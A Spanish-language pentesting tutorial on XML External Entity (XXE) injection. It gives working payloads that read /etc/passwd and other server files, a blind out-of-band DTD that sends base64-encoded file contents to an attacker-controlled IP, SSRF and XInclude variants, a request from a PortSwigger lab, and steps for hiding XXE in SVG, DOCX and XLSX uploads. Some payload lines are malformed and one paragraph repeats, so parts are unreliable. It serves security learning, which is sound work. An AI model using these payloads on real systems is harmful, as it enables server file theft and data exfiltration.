Hacking Lab

En que consiste la vulnerabilidad XXE (External XML Entity Injection)?


La vulnerabilidad XXE es un tipo de vulnerabilidad de seguridad que afecta a aplicaciones que procesan datos XML. Esta vulnerabilidad ocurre cuando una aplicación permite la inclusión de entidades externas en documentos XML sin las debidas restricciones de seguridad. Las entidades externas son una característica del estándar XML que permite la inclusión de contenido externo en un documento XML, lo cual puede ser aprovechado por un atacante para realizar diversas acciones maliciosas.


Un atacante puede manipular un documento XML para incluir entidades externas que apunten a recursos locales o remotos. Esto puede llevar a varios tipos de ataques, dependiendo de cómo se configure y procese el XML en la aplicación.
Un ejemplo de cómo se podría estructurar un documento XML vulnerable a un ataque XXE:



<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [ <!ELEMENT data ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<data>&xxe;</data>



Puede pasar que no se permita cargar entidades en el cuerpo de las solicitud xml, en este caso se intentaria cargar en el propio DTD de la siguiente manera:



<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [ <!ELEMENT data ANY > <!ENTITY % xxe SYSTEM "file:///etc/passwd" > %xxe;]>
<data>cualquier cosa;</data>



Puede pasar que no se permita cargar entidades en el cuerpo de las solicitud xml, en este caso se intentaria cargar en el propio DTD de la siguiente manera:


De igual modo podria suceder que el archivo que se intenta cargar no sea representado en la web, esto se conoce como blind XXE, para esto declarariamos un archivo en nuestra maquina el cual serviremos con un servidor http (Ej: python3 -m http.server 80) e l cual contedra un codigo xml que su funcion seria enviarnos una solicitud a nuestro servidor con el contenido del archivo en cuestion:



<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
>!ENTITY % eval ">!ENTITY % exfil SYSTEM 'http:mi-ip/?file=%file;'>">
%eval;
%exfil;



Este archivo lo cargamos en la misma declaracion del DTD como el ejemplo anterior, pero en lugar de poner el wraper "file" con la ruta del sistema, estariamos poniendo la uri de nuestro servidor con el .dtd

ej:


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [ <!ELEMENT data ANY ><!ENTITY % xxe SYSTEM "http://mi-ip/archivo.dtd" > %xxe;]>



Tipos de ataques XXE:


  1. Explotación de XXE para recuperar archivos: donde se define una entidad externa que contiene el contenido de un archivo y se devuelve en la respuesta de la aplicación. Explotación de XXE para realizar ataques SSRF: donde se define una entidad externa basada en una URL a un sistema back-end.



  2. Explotación de datos de exfiltración de XXE ciegos fuera de banda: donde los datos confidenciales se transmiten desde el servidor de aplicaciones a un sistema que controla el atacante.



  3. Aprovechar blind XXE para recuperar datos a través de mensajes de error, donde el atacante puede desencadenar un mensaje de error de análisis que contiene datos confidenciales.


Ataque XXE para recuperar archivos del sistema (XXE->LFI):


Para realizar un ataque de inyección XXE que recupera un archivo arbitrario del sistema de archivos del servidor, debe modificar el XML enviado de dos maneras: Introduzca (o edite) un elemento DOCTYPE que defina una entidad externa que contenga la ruta al archivo. Edite un valor de datos en el XML que se devuelve en la respuesta de la aplicación, para hacer uso de la entidad externa definida.

Existen varios tipos de entidades en XML, cada una con su propósito y modo de uso:



1. Entidades Predefinidas: Estas son entidades estándar que están definidas por el estándar XML y son utilizadas para representar caracteres especiales que tienen un significado particular en XML.

2. Entidades de Carácter: Estas entidades permiten representar cualquier carácter Unicode mediante su código numérico. Se pueden definir utilizando una referencia numérica decimal o hexadecimal. Por ejemplo:

3. Entidades Generales: Estas son entidades definidas por el usuario que pueden contener texto o datos. Se declaran en la sección de declaración de tipo de documento (DTD) y se utilizan para incluir fragmentos de texto que se repiten en el documento.


La palabra clave SYSTEM indica que la entidad externa se refiere a un recurso externo que puede ser accedido mediante una URI (Uniform Resource Identifier), como un archivo en un sistema de archivos local o un recurso disponible a través de una URL.

Aquí está la estructura básica de cómo se utiliza SYSTEM en una declaración de entidad externa:


<!DOCTYPE rootElement [ <!ENTITY entityName SYSTEM "URI">]>
<rootElement>
&entityName;
</rootElement>


En la URI se puede usar el wraper "file://" para enumerar archivos del sistema, por ejemplo: "file:///etc/passwd"



Explotando XXE para conseguir un SSRF:


De la misma manera, en lugar de cargar archivos del sistema, con SYSTEM se podria performar un SSRF, una peticion arbitraria a otro servidor, ejemplo:


<!DOCTYPE example [<!ENTITY xxe SYSTEM "http://arbitraryUrl">]>
<rootElement>
&xxe;
</rootElement>


Ataque por medio de XInclude:


XInclude permite la inclusión de contenido de documentos XML externos dentro de un documento XML principal.

Supongamos que una aplicación web permite a los usuarios cargar documentos XML que se procesan para incluir contenido de otros documentos mediante XInclude. Un atacante podría crear un documento XML que utilice XInclude para incluir un archivo sensible del sistema de archivos del servidor, como `/etc/passwd` en sistemas Unix:


<?xml version="1.0" encoding="UTF-8"?>
<document xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</document>



Ejemplo practico:


Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0a6d00480341cb5de6246e5d004c0087.web-security-academy.net/product?productId=6
Content-Type: application/x-www-form-urlencoded
Content-Length: 138
Origin: https://0a6d00480341cb5de6246e5d004c0087.web-security-academy.net
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"></xi:include></foo>&storeId=1


En este caso el parametro productId se ve reflejado en la respuesta del servidor.


XXE via File Upload:


Algunas aplicaciones permiten a los usuarios cargar archivos que luego se procesan en el lado del servidor. Algunos formatos de archivo comunes utilizan XML o contienen subcomponentes XML. Ejemplos de formatos basados en XML son los formatos de documentos de oficina como DOCX y los formatos de imagen como SVG. Por ejemplo, una aplicación puede permitir a los usuarios cargar imágenes y procesarlas o validarlas en el servidor después de que se carguen. Incluso si la aplicación espera recibir un formato como PNG o JPEG, es posible que la biblioteca de procesamiento de imágenes que se está utilizando admita imágenes SVG. Dado que el formato SVG utiliza XML, un atacante puede enviar una imagen SVG maliciosa y, por lo tanto, llegar a la superficie de ataque oculta para las vulnerabilidades XXE.


Por ejemplo, sitios web pueden cargar los archivos en la ruta principal del sistema de archivos o en otro lugar para luego analizarlos y detectar posibles archivos maliciosos y de ser este el caso eliminarlos inmediatamente, pero esto es peligroso ya que permite a un atcante, si conoce la ruta, intentar aprobecharse de condiciones de carrera.

Estas vulnerabilidades son dificiles de detectar en un entorno de BlackBox, a menos que se tenga una via de poder fitrar codigo fuente, ya que se desconoce la ruta donde los archivos son testeados.

El principal objetivo es lograr cargar el archivo antes de que este sea testeado y eliminado del sistema o modificado de caulquier forma que afecte su acceso.


Por qué DOCX?


DOCX es un formato de documento de Microsoft Word que utiliza el formato de archivo Open XML. Un archivo DOCX es esencialmente un archivo ZIP que contiene varios archivos XML que describen el contenido y la estructura del documento. Debido a su base en XML, un archivo DOCX puede ser manipulado para incluir entidades externas.


Por qué SVG?


SVG (Scalable Vector Graphics) es un formato de imagen basado en XML que se utiliza para definir gráficos vectoriales en la web. Debido a su naturaleza XML, SVG puede contener definiciones de entidades externas. Para llevar a cabo la explotacion, se podria crear una imagen svg con el siguiente contenido, que incluye el contenido del archivo del sistema /etc/hostname. Ejemplo practico:


<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>


Para entender cómo se puede realizar un ataque XXE (XML External Entity) dentro de un archivo DOCX, es importante primero comprender la estructura de un archivo DOCX y cómo se puede manipular para incluir una carga útil maliciosa. A continuación, te explicaré el procedimiento y los conceptos clave involucrados.


Estructura de un Archivo DOCX


Un archivo DOCX es un tipo de archivo de Microsoft Word que utiliza el formato Open XML. En realidad, es un archivo ZIP que contiene varios archivos y carpetas que describen el contenido y la estructura del documento. Los componentes principales de un archivo DOCX incluyen:


1. /_rels/.rels**: Este archivo define las relaciones entre los diferentes componentes del documento.
2. [Content_Types].xml**: Describe los tipos de contenido que se encuentran en el archivo DOCX.
3. /word/document.xml**: Contiene el contenido principal del documento de Word.
4. /ppt/presentation.xml**: Si el archivo es un PowerPoint, este archivo contiene la presentación.
5. /xl/workbook.xml**: Si el archivo es un Excel, este archivo contiene el libro de trabajo.


Inyección de una Carga XXE


  1. Extraer el Archivo DOCX: Dado que un archivo DOCX es un archivo ZIP, el primer paso es extraer su contenido. Esto se puede hacer utilizando cualquier herramienta de descompresión de archivos.



  2. Identificar Archivos XML: Una vez extraído, identifica los archivos XML dentro de la estructura del DOCX. Estos pueden incluir `/word/document.xml`, `/ppt/presentation.xml`, `/xl/workbook.xml`, entre otros.



  3. Inyectar la Carga XXE: Selecciona uno de los archivos XML para inyectar la carga XXE. Esta carga se puede insertar al principio del archivo XML seleccionado. Por ejemplo, si eliges `/word/document.xml`, abrirías ese archivo y añadirías la declaración DOCTYPE al inicio.

  4. Modificar [Content_Types].xml: Asegúrate de que el archivo `[Content_Types].xml` esté actualizado para reflejar cualquier cambio en los tipos de contenido, aunque en muchos casos no es necesario modificarlo para un ataque XXE básico.



  5. Recomprimir el Archivo: Una vez que hayas inyectado la carga, necesitas volver a comprimir los archivos en un archivo ZIP y renombrarlo con la extensión `.docx`. Esto se puede hacer con el siguiente comando:>


    zip -u xxe.docx [Content_Types].xml



XXE dentro de archivos XLSX (Excel):


Extract Excel file:


7z x -oXXE xxe.xlsx


Rebuild Excel file:


$ cd XXE
$ 7z u ../xxe.xlsx *


Se debe agregar la carga XXE en xl/workbook.xml:


<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE cdl [<!ELEMENT cdl ANY ><!ENTITY % asd SYSTEM "http://x.x.x.x:8000/xxe.dtd">%asd;%c;]> <cdl>&rrr;</cdl> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">


XXE via Content-Type:


La mayoria de las peticiones por POST usan el content-type por defecto que viene de algun formulario, pero algunos sitios que esperan recibir los datos en este formato tambien aceptan otros formatos, por ejemplo:

Un sitio web donde se tramita una peticion similar a:


POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Lenght: 7


foo=bar


Tambien podria tratar de igual manera esta otra peticion, obteniendo el mismo resultado:


POST /action HTTP/1.0
Content-Type: text/xml
Content-Lenght: 52


<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>


Por lo cual poria ser via de un potencial XXE




Para profundizar: PayloadAllTheThings